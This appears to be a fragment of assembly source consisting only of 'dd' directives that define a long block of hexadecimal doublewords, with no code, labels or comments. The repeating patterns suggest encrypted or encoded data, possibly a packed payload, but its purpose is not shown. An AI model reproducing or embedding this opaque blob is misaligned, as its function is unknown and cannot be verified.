		dd 0A6721556h, 0A67204BFh, 734B04BFh, 6190C4E3h, 8E7524BEh
		dd 6BB62780h, 0DC2D4B09h, 7EF471C2h, 3B3DE4B2h,	7D4A7556h
		dd 75F5E4EAh, 0A7C8E480h, 0B218E4EAh, 0CEBA04EAh, 4D88481h
		dd 25698480h, 43ECA480h, 8F8664BEh, 6BB62780h, 0DC2D4B09h
		dd 151C71C2h, 3A39C7EAh, 0A1055556h, 61BA6077h,	8F83A4BEh
		dd 6BB62780h, 0DC2D4B09h, 6A4171C2h, 2F179253h,	7B8DB556h
		dd 78A4209Ah, 8E74E4BEh, 6BB62780h, 0DC2D4B09h,	360B71C2h
		dd 2E9DD7A8h, 7A979556h, 0EE06E09Ah, 4767A071h,	789C84BDh
		dd 8E7524BEh, 6BB62780h, 0DC2D4B09h, 0C97A71C2h, 3B3AB65Ah
		dd 7AF5F556h, 391E009Ah, 61DCC4E3h, 8F8664BEh, 6BB62780h
		dd 0DC2D4B09h, 33C171C2h, 2F173DDAh, 422ED556h,	78B8E09Ah
		dd 8F83A4BEh, 6BB62780h, 0DC2D4B09h, 0C2AE71C2h, 3820DB79h
		dd 0C7FB3556h, 4FA4779Dh, 0A78EE4BDh, 65CAE4BFh, 4A4504E9h
		dd 0D05DE4BDh, 2F34E4ECh, 3915A4E3h, 0A93AA4E3h, 7597E4BFh
		dd 0B2122480h, 6DD3C4EAh, 259BE4BEh, 0DAB08480h, 77FFC480h
		dd 77BB04BEh, 10EDE4BEh, 0D7DF64BEh, 0DB2FE4BEh, 605F4480h
		dd 8E74E4BEh, 6BB62780h, 0DC2D4B09h, 0DABF71C2h, 38F170B9h
		dd 3A0C1556h, 195F379Ch, 7DB924E9h, 0A8BE24EAh,	4BC864BFh
		dd 9CE904BDh, 0B35C64BFh, 54344EAh, 386704E3h, 390D64E3h
		dd 0AE2EA4E3h, 75FF24BFh, 65BF2480h, 7CC4E4BEh,	0B21344BFh
		dd 0D9FB24EAh, 0EC5684BEh, 25610480h, 4C8C480h,	77AF0480h
		dd 781BE4BEh, 76E324BEh, 0D8BA24BEh, 852344BEh,	465D24BFh
		dd 0D7D724BDh, 240504BEh, 61C6C4BEh, 8E7524BEh,	6BB62780h
		dd 0DC2D4B09h, 471671C2h, 3800B1EFh, 0C6F77556h, 0AAAB579Dh
		dd 78A944EAh, 8F8664BEh, 6BB62780h, 0DC2D4B09h,	683F71C2h
		dd 382234F3h, 0C7B45556h, 0EC52D79Dh, 61C6E480h, 8F83A4BEh
		dd 6BB62780h, 0DC2D4B09h, 0FAE171C2h, 2F107D26h, 1CCB556h
		dd 0EBE7979Ch, 7A52974Fh, 0DC65209Ah, 8E752211h, 6BB62780h
		dd 0DC2D4B09h, 3A4471C2h, 2F07D508h, 0AF829556h, 43FC207Dh
		dd 8F8664BEh, 6BB62780h, 0DC2D4B09h, 6D2871C2h,	2F0DA0D7h
		dd 9731F556h, 4254809Eh, 8F83A4BEh, 6BB62780h, 0DC2D4B09h
		dd 0DCDF71C2h, 2FFC5F50h, 0AE57D556h, 0DDB2C07Dh, 8E74E211h
		dd 6BB62780h, 0DC2D4B09h, 362071C2h, 3B3DE980h,	0AE563556h
		dd 0DD06207Dh, 8E752211h, 6BB62780h, 0DC2D4B09h, 0CF5871C2h
		dd 2FBFF977h, 916E1556h, 0D5966023h, 61B76022h,	8F8664BEh
		dd 6BB62780h, 0DC2D4B09h, 253E71C2h, 38012ADBh,	4C977556h
		dd 7A182073h, 8F83A4BEh, 6BB62780h, 0DC2D4B09h,	0B1CA71C2h
		dd 3803C9D9h, 4E775556h, 568AE4EEh, 77D3353Eh, 1A0FE09Ah
		dd 8FC044E9h, 0D3FC44EAh, 6EA00481h, 8E74E4BEh,	6BB62780h
		dd 0DC2D4B09h, 887871C2h, 380531B8h, 1C6CB556h,	6EA19790h
		dd 8E7524BEh, 6BB62780h, 0DC2D4B09h, 894D71C2h,	38007498h
		dd 0E5AB9556h, 7A531790h, 42BA009Ah, 8F8664BEh,	6BB62780h
		dd 0DC2D4B09h, 9C1F71C2h, 381833DCh, 0E535F556h, 2F1D9790h
		dd 0C54179Ch, 61B8C09Ah, 0D61344BEh, 8F83A480h,	6BB62780h
		dd 0DC2D4B09h, 0B9571C2h, 2E5189BAh, 0AFB2D556h, 0BA65E07Dh
		dd 0FECCC07Dh, 9FE3F790h, 0BD92574Bh, 25D08072h, 0F64A88F0h
		dd 0D4888F5h, 80B0C8AFh, 0D146E8ABh, 0C6AF48F1h, 0CA54CAD4h
		dd 0F066AD4h, 0DA3A3649h, 9941558Bh, 0DACAD1E9h, 6DC29518h
		dd 3ADBA08Ah, 5051068Fh, 840C8C3h, 0EAF688F0h, 0BBAD88CCh
		dd 1285A8ABh, 0D4ABA8F0h, 0D5246599h, 0B78D6315h, 0DA46F695h
		dd 9941558Bh, 0DACAD1E9h, 0AA0C9518h, 3ADF2ABFh, 518BE68Fh
		dd 0A91768C3h, 0EBAE68ABh, 0A8B8E8CCh, 5D4548ABh, 58FF48F0h
		dd 565EA564h, 5CF88564h, 0DA83B649h, 9941558Bh,	0DACAD1E9h
		dd 0A8759518h, 5F51ECFh, 515B468Fh, 0F01B08C3h,	5BC86599h
		dd 0D3CCC564h, 5C342AD4h, 0DA807649h, 9941558Bh, 0DACAD1E9h
		dd 0CBC09518h, 57AF7C0h, 1614268Fh, 0EC79E8AAh,	77E94599h
		dd 5C3428AFh, 0DA3A3649h, 9941558Bh, 0DACAD1E9h, 70549518h
		dd 3ADA68F6h, 410C868Fh, 8CB628F0h, 5C1A08F6h, 0DA46F649h
		dd 88C6A78Bh, 3FB5D235h, 0E47331FEh, 0B522B716h, 0FABDE611h
		dd 0B937F77Fh, 0ABAB70Bh, 88C6A747h, 3FB5D235h,	530631FEh
		dd 5FE0E638h, 0FA820610h, 728A177Fh, 0AC7F70Ah,	88C6A747h
		dd 3FB5D235h, 9E3331FEh, 0B522B7F1h, 7FE5A611h,	143A370Bh
		dd 88C6A747h, 3FB5D235h, 0BD0231FEh, 0A752AA2Ah, 0CFDBC611h
		dd 4C290C42h, 14387709h, 88C6A747h, 3FB5D235h, 0A0D331FEh
		dd 0B5286BB8h, 0E3C76611h, 7FE06C28h, 0ABAB70Bh, 88C6A747h
		dd 3FB5D235h, 0B47431FEh, 0B48FC8D2h, 0D2F48611h, 28372C29h
		dd 141F977Fh, 9AF80A06h, 0C65B4A04h, 0F6354C29h, 0EA4F6C41h
		dd 8DDD41FBh, 8D6FCC42h, 411A2C42h, 0F1848A06h,	0C42F2C41h
		dd 0C4166C42h, 8B646C42h, 0D57E6C42h, 52DE1FBh,	6784A1Bh
		dd 29A2EA06h, 5F78A1Bh,	70E9EA1Bh, 0D0880A06h, 5DDB6A07h
		dd 0EA3EAA06h, 0E692170Fh, 47E2370Fh, 0B9E9B954h, 7FEAF70Bh
		dd 0AC7F70Bh, 88C6A747h, 3FB5D235h, 3E5C31FEh, 0B4CB7921h
		dd 90882611h, 0C52CB778h, 30C0B778h, 0E7EC777Fh, 0C2C301FBh
		dd 4C152C42h, 143A3709h, 88C6A747h, 3FB5D235h, 0A5331FEh
		dd 0A75B8801h, 2D714611h, 1C98F77Fh, 0C8FF177Fh, 0C583B778h
		dd 0BC7301E4h, 0D85041E4h, 0F1560A06h, 0F1712C41h, 7F04CC41h
		dd 0D1BA970Bh, 3D4E770Bh, 1438770Ah, 88C6A747h,	3FB5D235h
		dd 9C8D31FEh, 0A754FB65h
		dd 0E3B1E611h, 3D31977Fh, 0ABAB70Ah, 88C6A747h,	3FB5D235h
		dd 3E5431FEh, 0AA2B6AA9h, 0E3B60611h, 3D4BB77Fh, 0AC7F70Ah
		dd 88C6A747h, 3FB5D235h, 0D6CD31FEh, 0B48F0A1Eh, 0F231A611h
		dd 7314977Fh, 143A370Ah, 88C6A747h, 3FB5D235h, 8B3131FEh
		dd 0B5C89EA5h, 2D40C611h, 0E9A9F77Fh, 0F060377Fh, 2014CC41h
		dd 728B770Ah, 1438770Ah, 88C6A747h, 3FB5D235h, 3DB131FEh
		dd 0AA07814Ch, 0CE176611h, 0D22EB778h, 7F1A3778h, 0ABAB70Bh
		dd 88C6A747h, 3FB5D235h, 0CD3431FEh, 5E4DEF89h,	0C8FC8610h
		dd 0D224D778h, 7F725778h, 0AC7F70Bh, 88C6A747h,	3FB5D235h
		dd 0EF7631FEh, 5FBFC3F1h, 913E2610h, 1C5B3778h,	7F89177Fh
		dd 143A370Bh, 88C6A747h, 3FB5D235h, 0C00331FEh,	0B5CC0237h
		dd 1DFA4611h, 0C8F5577Fh, 2A277778h, 0D297777Fh, 0E73EF778h
		dd 7FE061FBh, 1438770Bh, 88C6A747h, 3FB5D235h, 0D6E631FEh
		dd 0AA07D820h, 0C66DE611h, 0D2C87778h, 51F91778h, 0D029177Ah
		dd 34BE9778h, 0A123CC28h, 0E7F481E4h, 0B9FF81FBh, 837D370Bh
		dd 0ABAB70Bh, 88C6A747h, 3FB5D235h, 0C96A31FEh,	0B5E9205Dh
		dd 0E3AF0611h, 7F72D77Fh, 0AC7F70Bh, 88C6A747h,	3FB5D235h
		dd 1E5831FEh, 5FA0EC94h, 0F81EA610h, 824E177Fh,	143A370Bh
		dd 88C6A747h, 3FB5D235h, 0C01931FEh, 468AD3A4h,	33B33589h
		dd 710C4431h, 9D7523CCh, 21FB143Ah, 0A6F768AEh,	7BA8ABB1h
		dd 46C27BE3h, 66ACD589h, 0A3F463CCh, 21FB143Ah,	0A6F768AEh
		dd 3102ABB1h, 4781AD1Dh, 8EE7F589h, 660AE3CDh, 0A3FEA3CCh
		dd 21FB143Ah, 0A6F768AEh, 6339ABB1h, 9CFAEDA2h,	0D638ABB1h
		dd 1B996A6Eh, 0E0579A4Dh, 759E8F1Bh, 7A26F0FDh,	8416D0FDh
		dd 9D7FE3CDh, 21FB143Ah, 0A6F768AEh, 1FDBABB1h,	61126C80h
		dd 78E93A4Dh, 9965D0F8h, 94CFF0E3h, 6A2790E3h, 0D84690F8h
		dd 3723A431h, 0D2BDA431h, 3266C432h, 0C309E431h, 994D0432h
		dd 0A98F8432h, 0ED0E30F9h, 4EE08AF9h, 4EE5CB5Eh, 862F6B5Eh
		dd 0C06ACAFAh, 77C7EAA1h, 0D35B6B53h, 4677B57Fh, 0D12FEB5Eh
		dd 0CA01BDEBh, 809FBDEBh, 0A8B19DEBh, 967BDDE8h, 0A4665DEBh
		dd 4184BDE8h, 0BF722FA2h, 446E810Eh, 19F656Bh, 7A75A639h
		dd 52FA656Bh, 0E64DA5BAh, 3ACB33C9h, 0D88D9DE8h, 48149DEAh
		dd 0D3465DEFh, 5A0F757Fh, 7BF03DEAh, 0BF722FA2h, 446E810Eh
		dd 388A656Bh, 0DD9B9030h, 0A40A53C9h, 0B6F6FDE8h, 7BF03DE8h
		dd 0BF722FA2h, 446E810Eh, 0A3D4656Bh, 0DD81D292h, 480F3C9h
		dd 0B7263DEFh, 7B19FDE8h, 0BF722FA2h, 446E810Eh, 47A7656Bh
		dd 0DDD8C057h, 0ABC113C9h, 4184BDE8h, 0BF722FA2h, 446E810Eh
		dd 8851656Bh, 0E72D57A2h, 0D948B3C9h, 9FEA957Eh, 41867DE8h
		dd 0BF722FA2h, 446E810Eh, 0DDF7656Bh, 0DD9D1541h, 5A29D3C9h
		dd 7BF03DEAh, 0BF722FA2h, 446E810Eh, 7AA4656Bh,	0E63C0B7Ch
		dd 1C6E73C9h, 0A14D157Eh, 7B19FDE8h, 0BF722FA2h, 446E810Eh
		dd 1E3E656Bh, 0E749BFCFh, 88B393C9h, 5A161E14h,	4184BDEAh
		dd 0BF722FA2h, 446E810Eh, 0AC5F656Bh, 0E766F6C8h, 272933C9h
		dd 3E48F57Eh, 0A88AFE1Fh, 0AC50BDE8h, 51E3FDE8h, 0F915DEAh
		dd 0EAC41DEFh, 5A0C5DFBh, 41867DEAh, 0BF722FA2h, 446E810Eh
		dd 3C12656Bh, 0E76734E6h, 0B21853C9h, 0B6C54AFAh, 7BF03DE8h
		dd 0BF722FA2h, 446E810Eh, 0D5F9656Bh, 0E779525Ah, 7FF5F3C9h
		dd 0AD5A4AA1h, 7B19FDE8h, 0BF722FA2h, 446E810Eh, 835F656Bh
		dd 0E7665C31h, 0C29913C9h, 0B5AB6AA1h, 9FD0AAA1h, 4184BDE8h
		dd 0BF722FA2h, 446E810Eh, 0CC5F656Bh, 0E7672CEFh, 0A66CB3C9h
		dd 9FD1BDE9h, 41867DE8h, 0BF722FA2h, 446E810Eh,	0E0D6656Bh
		dd 0E7665069h, 0E551D3C9h, 9A777E1Ah, 0B9A0DE1Bh, 0B9A0BE1Bh
		dd 0B3A81E1Bh, 0D0DDFE1Bh, 0D1711DEBh, 0BB167DEBh, 0B63C5DEBh
		dd 0AF437DE8h, 0AC785DE8h, 4A559DE8h, 74653DEAh, 0ABECBDFBh
		dd 0EA495DE8h, 97245DFBh, 0A8E35DEBh, 89C25DE8h, 5A485DEBh
		dd 41867DEAh, 0BF722FA2h, 446E810Eh, 7EF8656Bh,	0E76673BBh
		dd 50D73C9h, 5A333DE8h,	7B19FDEAh, 0BF722FA2h, 446E810Eh
		dd 2C5E656Bh, 0DD8D8BAEh, 59C393C9h, 9FD31DEFh,	4184BDE8h
		dd 0BF722FA2h, 446E810Eh, 5D6F656Bh, 0DD983F00h, 1E833C9h
		dd 3B6C3DE8h, 9D7B5DE8h, 4805DDE9h, 0D2C1FDEFh,	75BBF57Fh
		dd 5A01BE1Ch, 41867DEAh, 0BF722FA2h, 446E810Eh,	50BE656Bh
		dd 61EABE50h, 3AA8CF21h, 5A7B7DE8h, 7BF03DEAh, 0BF722FA2h
		dd 0D26E810Eh, 1FAEC2A6h, 0AFF39259h, 0F47D989Ch, 89712959h
		dd 0F520E959h, 0EBF22959h, 5815A959h, 0C64CF28Fh, 0EDEE272Dh
		dd 0C907A95Ah, 4D8BD713h, 0D27F2478h, 9785C2A6h, 0A824FA4Fh
		dd 0E0AEF89Ch, 0E8484959h, 0FB1346B3h, 791DB4FAh, 0FEE90191h
		dd 35EF9F4Fh, 0D685AEEBh, 14DE3575h, 0FB1106B3h, 791DB4FAh
		dd 0FEE90191h, 0A0B29F4Fh, 0D538DE80h, 0D1859575h, 25547987h
		dd 0F597C6B3h, 791DB4FAh, 0FEE90191h, 9DEC9F4Fh, 61F74AF1h
		dd 81E7F0CDh, 81172F66h, 257BE6B2h, 30C586B3h, 1986C6B3h
		dd 0C84D46B3h, 0EE29A6B3h, 141046BFh, 0F59186B3h, 791DB4FAh
		dd 0FEE90191h, 2D819F4Fh, 0DB6594D3h, 0D1865575h, 5E0A7987h
		dd 5415E4C2h, 2DFB04C2h, 320524C2h, 357844C2h, 14DE64C2h
		dd 0FB1346B3h, 791DB4FAh, 0FEE90191h, 0B92F9F4Fh, 61F10C6Bh
		dd 3065B0CDh, 0F597C6B3h, 791DB4FAh, 0FEE90191h, 0BB3A9F4Fh
		dd 0F41CDC9Dh, 0A9BC9F4Fh, 0AEADA0F7h, 0C92BB036h, 7CDE7987h
		dd 306039F8h, 0FB1106B3h, 791DB4FAh, 0FEE90191h, 0BB3A9F4Fh
		dd 0F41CDC9Dh, 0CA139F4Fh, 0F1E0EE91h, 0AE3CEDF9h, 93889036h
		dd 65A7E4C2h, 0D762D986h, 0CDACD986h, 28309986h, 0F24D3987h
		dd 1495D987h, 0FB1346B3h, 791DB4FAh, 0FEE90191h, 0A9BC9F4Fh
		dd 53746A17h, 0AE3CEDF8h, 70E17036h, 4CB6E4C2h,	0AA72F986h
		dd 544419F8h, 7C1279DDh, 2229F9F8h, 0F9C13987h,	87EE9987h
		dd 2166F9F8h, 22059987h, 1413B987h, 0F59186B3h,	791DB4FAh
		dd 0FEE90191h, 0CA139F4Fh, 0F1E03989h, 0AE3CEDF9h, 6AC95036h
		dd 90C98329h, 0D563C626h, 0DCAF66C3h, 99506DCh,	0BDE8C6C2h
		dd 0C3B286DCh, 0D14BC6C3h, 0BD7866DCh, 23E466DCh, 9AF1D1BEh
		dd 946E6C6h, 8D66C6C2h,	85ADC6C3h, 8C046626h, 69A34626h
		dd 0DFC6E6C3h, 1580A6C2h, 0BC646C2h, 87BD26C2h,	66DE626h
		dd 756E26C2h, 5DEE46C3h, 255CE6C3h, 708326DDh, 0CFB8E6C3h
		dd 7F22F2E2h, 6D92B2E2h, 1C48D480h, 62248D11h, 15934DBh
		dd 0D1213043h, 3DDEB981h, 0AFD36232h, 7FA9E632h, 0D6EE6626h
		dd 0D15AA6C3h, 0C9EE66DCh, 0D3F3A6DCh, 0B92B46DCh, 7330CF0Eh
		dd 76BC6F0Dh, 0C1C36F0Dh, 48A93AEBh, 3542EF33h,	24BE6F33h
		dd 39BD6F0Fh, 0BDB66F0Fh, 245A4F0Eh, 0DACEF0Fh,	25DBCF0Fh
		dd 91002F0Fh, 8F546F0Eh, 39D96F0Eh, 8F72EF0Fh, 0C6A2AF0Eh
		dd 933C8F0Ch, 0AEE94F0Eh, 8BDE1B2Fh, 303339F1h,	82C70640h
		dd 0F8E1D906h, 0B7D2F936h, 0EF8152F0h, 0BEE0CB7Fh, 71B60F0Eh
		dd 6F728F0Dh, 70514F0Dh, 0C6B12F0Dh, 485B1AEBh,	3889AF33h
		dd 24286F0Fh, 0BEA44F0Fh, 2370EF0Eh, 37912F0Fh,	2433AF0Fh
		dd 76162F0Fh, 3B006F0Eh, 0DC752F0Fh, 0AEDE2F0Ch, 8BE1DB2Fh
		dd 303339F1h, 82C70640h, 2300D906h, 73C9070Eh, 0EF8152F0h
		dd 814BEB7Fh, 733E8F0Eh, 80838F0Dh, 0C3AB39F1h,	807C9B38h
		dd 303339F1h, 82C70640h
		dd 0F8E1D906h, 0B84D789Eh, 0EF8152F0h, 975E0B7Fh, 72FD8F0Eh
		dd 94562F0Dh, 0AC0F4F0Eh, 807D5B2Fh, 303339F1h,	82C70640h
		dd 2300D906h, 73C8D49Eh, 0EF8152F0h, 9CFE2B7Fh,	0A1014F0Eh
		dd 0AEE2CF13h, 8BDE1B2Fh, 303339F1h, 82C70640h,	0F8E1D906h
		dd 0B83F0BEEh, 0EFE252F0h, 70244B7Fh, 0AA9CF0Dh, 3A672F0Fh
		dd 349ACF0Fh, 9D18CF33h, 9D182F0Eh, 914BAF0Eh, 76146F0Eh
		dd 0DE5DCF0Eh, 0D92C0F0Ch, 0AEE2EF0Ch, 8BE1DB2Fh, 303339F1h
		dd 82C70640h, 2300D906h, 0B7D5AD5Eh, 0EFE252F0h, 0AF3F6B7Fh
		dd 807C9B2Fh, 303339F1h, 82C70640h, 0F8E1D906h,	0B7D3003Eh
		dd 0EFE252F0h, 0F3638B7Fh, 6900EF0Fh, 0D781AF0Eh, 807D5B38h
		dd 303339F1h, 82C70640h, 2300D906h, 0B7D5AC8Eh,	0EFE252F0h
		dd 510DAB7Fh, 0C52A2F7Fh, 8BDE1B38h, 303339F1h,	82C70640h
		dd 0F8E1D906h, 0B7D30086h, 0EFE252F0h, 4B4DCB7Fh, 0AEDC4F33h
		dd 8BE1DB2Fh, 303339F1h, 82C70640h, 2300D906h, 0B7D5E726h
		dd 0EFE252F0h, 25DEEB7Fh, 3A910F0Fh, 0AEE5EF0Fh, 807C9B2Fh
		dd 303339F1h, 82C70640h, 0F8E1D906h, 0B7D3007Eh, 0EFE252F0h
		dd 48710B7Fh, 3E5CAF33h, 3785EF0Fh, 0A287CF0Fh,	807D5B2Fh
		dd 303339F1h, 82C70640h, 2300D906h, 0B7D5E71Eh,	0EFE252F0h
		dd 3A572B7Fh, 0EDE8F0Fh, 0A6C6CF0Fh, 0AEE3EF13h, 8BDE1B2Fh
		dd 303339F1h, 82C70640h, 0EE69D906h, 0EFBDD3ACh, 0C1D4B7Fh
		dd 0C468EF0Fh, 0A1338F0Ch, 0A2796F13h, 8BE1DB2Fh, 303339F1h
		dd 82C70640h, 1F31D906h, 0EF781F13h, 9FAA6B7Fh,	0AC14EF13h
		dd 807C9B2Fh, 303339F1h, 82C70640h, 8D10D906h, 0B7F03BD3h
		dd 0EF8752F0h, 0AC158B7Fh, 807D5B2Fh, 303339F1h, 82C70640h
		dd 1F31D906h, 0B83F454Bh, 0EF8752F0h, 0A280AB7Fh, 8BDE1B2Fh
		dd 303339F1h, 82C70640h, 8D10D906h, 0B83F46E3h,	0EF8752F0h
		dd 0DB17CB7Fh, 8BE1DB38h, 303339F1h, 82C70640h,	1F31D906h
		dd 73C8D2EBh, 0EF8752F0h, 0E53EEB7Fh, 6FB58F0Ch, 73090F0Dh
		dd 7D8A6F0Dh, 0DB3EF0Dh, 0A0F62F0Fh, 8F50AF13h,	0AF2E4F0Eh
		dd 807C9B2Fh, 303339F1h, 82C70640h, 8D10D906h, 0B83F45A3h
		dd 0EF8752F0h, 0E3710B7Fh, 9921AF0Ch, 253AAF7Fh, 2449EF0Fh
		dd 9FDDEF0Fh, 0D848CF13h, 8BE1DB38h, 303339F1h,	82C70640h
		dd 1F31D906h, 73C8CC13h, 0EF8752F0h, 4FF92B7Fh,	75BE2F7Fh
		dd 37EC8F0Eh, 69904F0Fh, 70262F0Eh, 4A0B0F0Dh, 760FCF33h
		dd 0C72F4F0Eh, 0D923EF0Ch, 0D9E92F0Ch, 807D5B38h, 303339F1h
		dd 82C70640h, 8D10D906h, 0B83F201Bh, 0EF8052F0h, 50674B7Fh
		dd 352FCF7Fh, 0AE504F33h, 271B2F13h, 0C5442F0Fh, 807C9B38h
		dd 303339F1h, 82C70640h, 1F31D906h, 73C8CD63h, 0EF8052F0h
		dd 52126B7Fh, 37E52F7Fh, 0F532AF0Fh, 6F5BCF0Fh,	49CC4F0Dh
		dd 0A9014F33h, 9060AF13h, 0C41A2F0Eh, 0A1012F0Ch, 2589AF13h
		dd 917CCF0Fh, 0D9E68F0Eh, 8BE1DB38h, 303339F1h,	82C70640h
		dd 8D10D906h, 0B83F2053h, 0EF8052F0h, 994A8B7Fh, 734C0F7Fh
		dd 57444F0Dh, 4A47EF0Eh, 4A36CF33h, 0D9290F33h,	94F0CF0Ch
		dd 0C3AB2F13h, 8BDE1B38h, 303339F1h, 82C70640h,	1F31D906h
		dd 73C8CC33h, 0EF8052F0h, 8743AB7Fh, 9752EF7Fh,	9750EF7Fh
		dd 5BE1CF7Fh, 949D2F7Fh, 84E60F13h, 9AB40F0Eh, 7FCA8F0Eh
		dd 37CB8F0Eh, 8427CF0Fh, 7D2BCF0Eh, 6F75AF0Dh, 7CC06F0Dh
		dd 0D5CAF0Dh, 69720F0Fh, 6A3ACF0Eh, 6A318F0Eh, 681F6F0Eh
		dd 7335AF0Eh, 2418AF0Dh, 4D406F0Fh, 406EBAEAh, 6693DAEAh
		dd 49BF3AEAh, 4B3DEF33h, 476B8F33h, 4B1CAF33h, 38832F33h
		dd 23512F0Fh, 0A2BC6F0Fh, 3ABF0F13h, 375F0F0Fh,	0DC9EF0Fh
		dd 53BD3B19h, 0D42AFB19h, 0B87C1B7Dh, 0F37E9B18h, 0C0635B1Ah
		dd 0BE69DB1Dh, 0B750BB1Dh, 0B7D2BB18h, 0B7DB3B18h, 0C123DB18h
		dd 0B966BB1Dh, 0B913BB18h, 0B903DB18h, 0BDD7BB18h, 0B9F71B18h
		dd 24327B18h, 503F3B19h, 0B95F5B19h, 0EC413B18h, 0ED933B1Ah
		dd 0EC7C1B1Ah, 0B952BB1Ah, 0EC469B18h, 0F2AEFB1Ah, 0F2105B1Ah
		dd 0F2385B1Ah, 0BB08FB1Ah, 0F3F7BB18h, 0AAC0CF76h, 5B0AAC3Fh
		dd 0A897604Eh, 0A62D4D00h, 0D31E8ADDh, 1BDDD73Eh, 0B2AC5F89h
		dd 0AE3FDB89h, 1F5EDB18h, 9B2CFB19h, 2462FB1Bh,	4F493B19h
		dd 4D6EDB19h, 0BC63DB19h, 0D5D85B1Dh, 0B5A57B7Dh, 0B85B9B18h
		dd 0B887DB18h, 0B7CD1B18h, 0BCDABB18h, 0B760BB18h, 0B6887B18h
		dd 0B85EDB18h, 0BB3D5B18h, 0B8EE9B18h, 0B8E11B18h, 0BB963B18h
		dd 0B9F79B18h, 0BA7AFB18h, 0B9D19B18h, 0EC0D1B18h, 51599B1Ah
		dd 0F4EAFB19h, 0AAC10F76h, 5B0AAC3Fh, 0A897604Eh, 340C4D00h
		dd 9F955E15h, 1BDDD73Eh, 0B6CA7F89h, 536E7B89h,	4D9B7B19h
		dd 0B2B6FB19h, 1DA6FB18h, 28CA3B19h, 0C5203B19h, 0C2495B1Dh
		dd 4F139B1Dh, 50EDBB19h, 0B8913B19h, 0BCD43B18h, 0E5413E6h
		dd 112153E4h, 0C5AA2788h, 79DC84C1h, 0C64138B0h, 0C4FB25FEh
		dd 0F1C87DCBh, 390BAFC0h, 30117777h, 95AA13E4h,	0DEEFD377h
		dd 0B89873E3h, 0B926F3E5h, 0B73713E5h, 0E47653E5h, 0E6E573E3h
		dd 6D6193E3h, 0E1BDF3E7h, 6BBFD3E3h, 0B31A73E7h, 435DD3E5h
		dd 124813E7h, 0C5A96788h, 79DC84C1h, 0C64138B0h, 52DA25FEh
		dd 0BD4336B3h, 390BAFC0h, 3DBF9777h, 5275F3E7h,	803933E7h
		dd 6F195383h, 0E2ACB3E7h, 0C5A96787h, 79DC84C1h, 0C64138B0h
		dd 0C4FB25FEh, 0F1C87C33h, 38FEAFC0h, 300AB777h, 0BE1C53E4h
		dd 123CB3E6h, 0C816A788h, 79DC84C1h, 0C64138B0h, 2B125FEh
		dd 0C4DE09A2h, 4F8225FEh, 281BF741h, 0EF0574Ah,	0C817E788h
		dd 79DC84C1h, 0C64138B0h, 0B81A25FEh, 253CCF57h, 1154774Ah
		dd 0C5A96788h, 79DC84C1h, 0C64138B0h, 0DEE225FEh, 253D1A3Ah
		dd 11B3974Ah, 0C816A788h, 79DC84C1h, 0C64138B0h, 2B125FEh
		dd 0C4DE09A2h, 73C425FEh, 39CA923Ch, 11B4D777h,	0C5AA2788h
		dd 79DC84C1h, 0C64138B0h, 0EB5225FEh, 39CA4066h, 11B5F777h
		dd 0C817E788h, 79DC84C1h, 0C64138B0h, 0CA8225FEh, 39C9F842h
		dd 110A1777h, 0C816A788h, 79DC84C1h, 0C64138B0h, 2B125FEh
		dd 0C4DE09A2h, 0FA6925FEh, 2597D4AFh, 105CB74Ah, 0C5A96788h
		dd 79DC84C1h, 0C64138B0h, 2B125FEh, 0C4DE09A2h,	528F25FEh
		dd 412493E7h, 0A2AC93E7h, 249377h, 197D2DDh, 22379677h
		dd 8FC9AB28h, 31A12877h, 9A127D60h, 0FE58Ch, 41C4ADF4h
		dd 275DA056h, 81BA601h,	0A999B427h, 41242720h, 2AB928E7h
		dd 6101651h, 0F310C282h, 6726BF5Ah, 0BB253013h,	8511C543h
		dd 0B53882DBh, 4E6BF58h, 9B4DB62Bh, 4A2493E6h, 0D2365353h
		dd 45BF5999h, 0B20F1626h, 3E570C8Ah, 41C4BC86h,	9325FFE7h
		dd 9013EEDCh, 0D68B7AA4h, 68F0AAA0h, 6BBF376Ah,	63F87D6Fh
		dd 0A862200Ch, 52A63B65h, 3FCF46E7h, 1F9493E7h,	9043338Bh
		dd 714DB994h, 2ACE5C79h, 8B9EA6F0h, 4124937Ah, 55595E2Bh
		dd 991D7E23h, 0C946C324h, 75664B18h, 7673BE0Dh,	745338B0h
		dd 882BC0Bh, 274C79E6h,	4C944F84h, 61706957h, 93E095CAh
		dd 5A46962Bh, 1B49150Eh, 0BD4134AEh, 7F7FCC3Bh,	0BC4CBB29h
		dd 59527679h, 4F6BD0AEh, 0E39E0D7Ah, 20E47813h,	0AD7E04D0h
		dd 0C79DC594h, 7AA6FD41h, 8E167C75h, 6735F989h,	8DDB2D81h
		dd 699A765Bh, 57E0AFD5h, 80DDDF5Dh, 8EBE392Ah, 56E48347h
		dd 9A748907h, 61E7203h,	290CFE1Bh, 0D2457A6Bh, 0FBD192D8h
		dd 0DA5974BEh, 71B2CD0Bh
		dd 691EC5C9h, 0BC91CAEAh, 10C3F113h, 59DC9377h,	639DA05h
		dd 6C5FA04Ah, 0D7F25FB4h, 0D3A2264h, 0DE589FCDh, 87B4E745h
		dd 21D4BB84h, 0F64FD6FBh, 0AFC088CDh, 29928704h, 865ACBD0h
		dd 0A2B6F963h, 96E4616Dh, 59621C3h, 0FE0A73C5h,	474084B1h
		dd 2B69A3FFh, 0A8DC556Ah, 41333208h, 0FD1F152Bh, 9D839D0Ah
		dd 21A939ABh, 9E93526Ch, 0E8C6AEC3h, 0C15AC907h, 0B796B211h
		dd 0C9294A66h, 0DC493F49h, 0D66B9C2h, 6690D2A8h, 0A72AEBCAh
		dd 0BA086133h, 27CAEC84h, 940CC2C3h, 2F65E33Ch,	0F2D298h
		dd 0E483B994h, 0BB29161Fh, 293F465Bh, 0AAF0BDEBh, 0C7E89FD7h
		dd 0DEB37968h, 52E89FD7h, 503B1411h, 20DD4ECh, 0B1E89FDAh
		dd 76464131h, 0F30A028Ah, 0E906471Ch, 870EACA1h, 91650B4Dh
		dd 6DD2F40Fh, 2E307975h, 694D4DDEh, 0F4F0B746h,	6A97E7CAh
		dd 833D2D45h, 0D4C61270h, 8332F51Eh, 6C912270h,	44C7AF7Fh
		dd 0C9AFB62Ch, 7E1E26DCh, 54A6AE4Fh, 0FDA7120Eh, 0F31271DEh
		dd 53B738BAh, 0E170F267h, 0DBB7656Ah, 0B1393674h, 66FDBD23h
		dd 0FA3459A3h, 5F661281h, 5875DEB1h, 89E4133Dh,	5251E5BDh
		dd 5372E3Bh, 3FBB8EF4h,	6846FAA6h, 6177E450h, 1A38DF30h
		dd 2ED36795h, 317A6CF6h, 0B4305CD1h, 0E0DB021Eh, 51A0134Bh
